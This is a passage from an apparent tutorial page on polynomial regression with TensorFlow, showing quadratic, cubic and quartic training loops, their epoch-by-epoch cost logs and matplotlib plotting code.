<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8310785500.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6435.365</span><span class="err"> </span><span class="nc">4628.1523</span><span class="err"> </span><span class="nc">2709.1445</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8277482000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6465.5493</span><span class="err"> </span><span class="nc">4451.833</span><span class="err"> </span><span class="nc">2300.2783</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8244650000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6494.609</span><span class="err"> </span><span class="nc">4274.826</span><span class="err"> </span><span class="nc">1894.3738</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8212349000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6522.8247</span><span class="err"> </span><span class="nc">4098.1733</span><span class="err"> </span><span class="nc">1491.9915</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8180598300.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6550.6567</span><span class="err"> </span><span class="nc">3922.7405</span><span class="err"> </span><span class="nc">1093.3868</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8149257700.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6578.489</span><span class="err"> </span><span class="nc">3747.8362</span><span class="err"> </span><span class="nc">698.53357</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8118325000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6606.1973</span><span class="err"> </span><span class="nc">3573.2742</span><span class="err"> </span><span class="nc">307.3541</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8088001000.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6632.96</span><span class="err"> </span><span class="nc">3399.878</span><span class="err"> </span><span class="nc">-79.89219</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8058094600.0</span><span class="err"> </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6659.793</span><span class="err"> </span><span class="nc">3227.2517</span><span class="err"> </span><span class="nc">-463.03156</span>
<span class="nt">8058094600.0</span><span class="na"> 6659.793 3227.2517 -463.03156</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
<span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">'ro'</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Original data'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Fitted line'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">'Quadratic Regression Result'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/3.png" alt="" /></p>
<h3 id="cubic">Cubic</h3>
<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
<span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer3</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse3</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Epoch"</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">": Training Cost:"</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">" a,b,c,d:"</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">))</span>
<span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse3</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">coefficient3</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">4279814000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">670.1527</span><span class="err"> </span><span class="nc">694.4212</span><span class="err"> </span><span class="nc">751.4653</span><span class="err"> </span><span class="nc">903.9527</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3770950400.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">742.6414</span><span class="err"> </span><span class="nc">666.3489</span><span class="err"> </span><span class="nc">636.94525</span><span class="err"> </span><span class="nc">859.2088</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3717708300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">756.2582</span><span class="err"> </span><span class="nc">569.3339</span><span class="err"> </span><span class="nc">448.105</span><span class="err"> </span><span class="nc">748.23956</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3667464000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">769.4476</span><span class="err"> </span><span class="nc">474.0318</span><span class="err"> </span><span class="nc">265.5761</span><span class="err"> </span><span class="nc">654.75525</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3620040700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">782.32324</span><span class="err"> </span><span class="nc">380.54272</span><span class="err"> </span><span class="nc">89.39888</span><span class="err"> </span><span class="nc">578.5136</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3575265800.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">794.8898</span><span class="err"> </span><span class="nc">288.83356</span><span class="err"> </span><span class="nc">-80.5215</span><span class="err"> </span><span class="nc">519.13654</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3532972000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">807.1608</span><span class="err"> </span><span class="nc">198.87044</span><span class="err"> </span><span class="nc">-244.31102</span><span class="err"> </span><span class="nc">476.2061</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3493009200.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">819.13513</span><span class="err"> </span><span class="nc">110.64169</span><span class="err"> </span><span class="nc">-402.0677</span><span class="err"> </span><span class="nc">449.3291</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3455228400.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">830.80255</span><span class="err"> </span><span class="nc">24.0964</span><span class="err"> </span><span class="nc">-553.92804</span><span class="err"> </span><span class="nc">438.0652</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3419475500.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">842.21594</span><span class="err"> </span><span class="nc">-60.797424</span><span class="err"> </span><span class="nc">-700.0123</span><span class="err"> </span><span class="nc">441.983</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3385625300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">853.3363</span><span class="err"> </span><span class="nc">-144.08699</span><span class="err"> </span><span class="nc">-840.467</span><span class="err"> </span><span class="nc">460.6356</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3353544700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">864.19135</span><span class="err"> </span><span class="nc">-225.8125</span><span class="err"> </span><span class="nc">-975.4196</span><span class="err"> </span><span class="nc">493.57703</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3323125000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">874.778</span><span class="err"> </span><span class="nc">-305.98932</span><span class="err"> </span><span class="nc">-1104.9867</span><span class="err"> </span><span class="nc">540.39465</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3294257000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">885.1007</span><span class="err"> </span><span class="nc">-384.63474</span><span class="err"> </span><span class="nc">-1229.277</span><span class="err"> </span><span class="nc">600.65607</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3266820000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">895.18823</span><span class="err"> </span><span class="nc">-461.819</span><span class="err"> </span><span class="nc">-1348.4417</span><span class="err"> </span><span class="nc">673.9051</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3240736000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">905.0128</span><span class="err"> </span><span class="nc">-537.541</span><span class="err"> </span><span class="nc">-1462.6171</span><span class="err"> </span><span class="nc">759.7118</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3215895000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">914.60065</span><span class="err"> </span><span class="nc">-611.8676</span><span class="err"> </span><span class="nc">-1571.9058</span><span class="err"> </span><span class="nc">857.6638</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3192216800.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">923.9603</span><span class="err"> </span><span class="nc">-684.8093</span><span class="err"> </span><span class="nc">-1676.4642</span><span class="err"> </span><span class="nc">967.30475</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3169632300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">933.08594</span><span class="err"> </span><span class="nc">-756.3582</span><span class="err"> </span><span class="nc">-1776.4275</span><span class="err"> </span><span class="nc">1088.2198</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3148046300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">941.9928</span><span class="err"> </span><span class="nc">-826.6257</span><span class="err"> </span><span class="nc">-1871.9355</span><span class="err"> </span><span class="nc">1219.9702</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3127394800.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">950.67896</span><span class="err"> </span><span class="nc">-895.6205</span><span class="err"> </span><span class="nc">-1963.0989</span><span class="err"> </span><span class="nc">1362.1665</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3107608600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">959.1487</span><span class="err"> </span><span class="nc">-963.38116</span><span class="err"> </span><span class="nc">-2050.0586</span><span class="err"> </span><span class="nc">1514.4026</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3088618200.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">967.4355</span><span class="err"> </span><span class="nc">-1029.9625</span><span class="err"> </span><span class="nc">-2132.961</span><span class="err"> </span><span class="nc">1676.2717</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3070361300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">975.52875</span><span class="err"> </span><span class="nc">-1095.4292</span><span class="err"> </span><span class="nc">-2211.854</span><span class="err"> </span><span class="nc">1847.4485</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3052791300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">983.4346</span><span class="err"> </span><span class="nc">-1159.7922</span><span class="err"> </span><span class="nc">-2286.9412</span><span class="err"> </span><span class="nc">2027.4857</span>
<span class="nt">3052791300.0</span><span class="na"> 983.4346 -1159.7922 -2286.9412 2027.4857</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
<span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">'ro'</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Original data'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Fitted line'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">'Cubic Regression Result'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/4.png" alt="" /></p>
<h3 id="quartic">Quartic</h3>
<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
<span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer4</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse4</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Epoch"</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">": Training Cost:"</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">" a,b,c,d:"</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>
<span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse4</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">coefficient4</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">coefficient3</span><span class="p">,</span> <span class="n">coefficient4</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1902632600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">84.48304</span><span class="err"> </span><span class="nc">52.210594</span><span class="err"> </span><span class="nc">54.791424</span><span class="err"> </span><span class="nc">142.51952</span><span class="err"> </span><span class="nc">512.0343</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1854316200.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">88.998955</span><span class="err"> </span><span class="nc">13.073557</span><span class="err"> </span><span class="nc">14.276088</span><span class="err"> </span><span class="nc">223.55667</span><span class="err"> </span><span class="nc">1056.4655</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1812812400.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">92.9462</span><span class="err"> </span><span class="nc">-22.331177</span><span class="err"> </span><span class="nc">-15.262934</span><span class="err"> </span><span class="nc">327.41858</span><span class="err"> </span><span class="nc">1634.9054</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1775716000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">96.42522</span><span class="err"> </span><span class="nc">-54.64535</span><span class="err"> </span><span class="nc">-35.829437</span><span class="err"> </span><span class="nc">449.5028</span><span class="err"> </span><span class="nc">2239.1392</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1741494100.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">99.524734</span><span class="err"> </span><span class="nc">-84.43976</span><span class="err"> </span><span class="nc">-49.181057</span><span class="err"> </span><span class="nc">585.85876</span><span class="err"> </span><span class="nc">2862.4915</span>
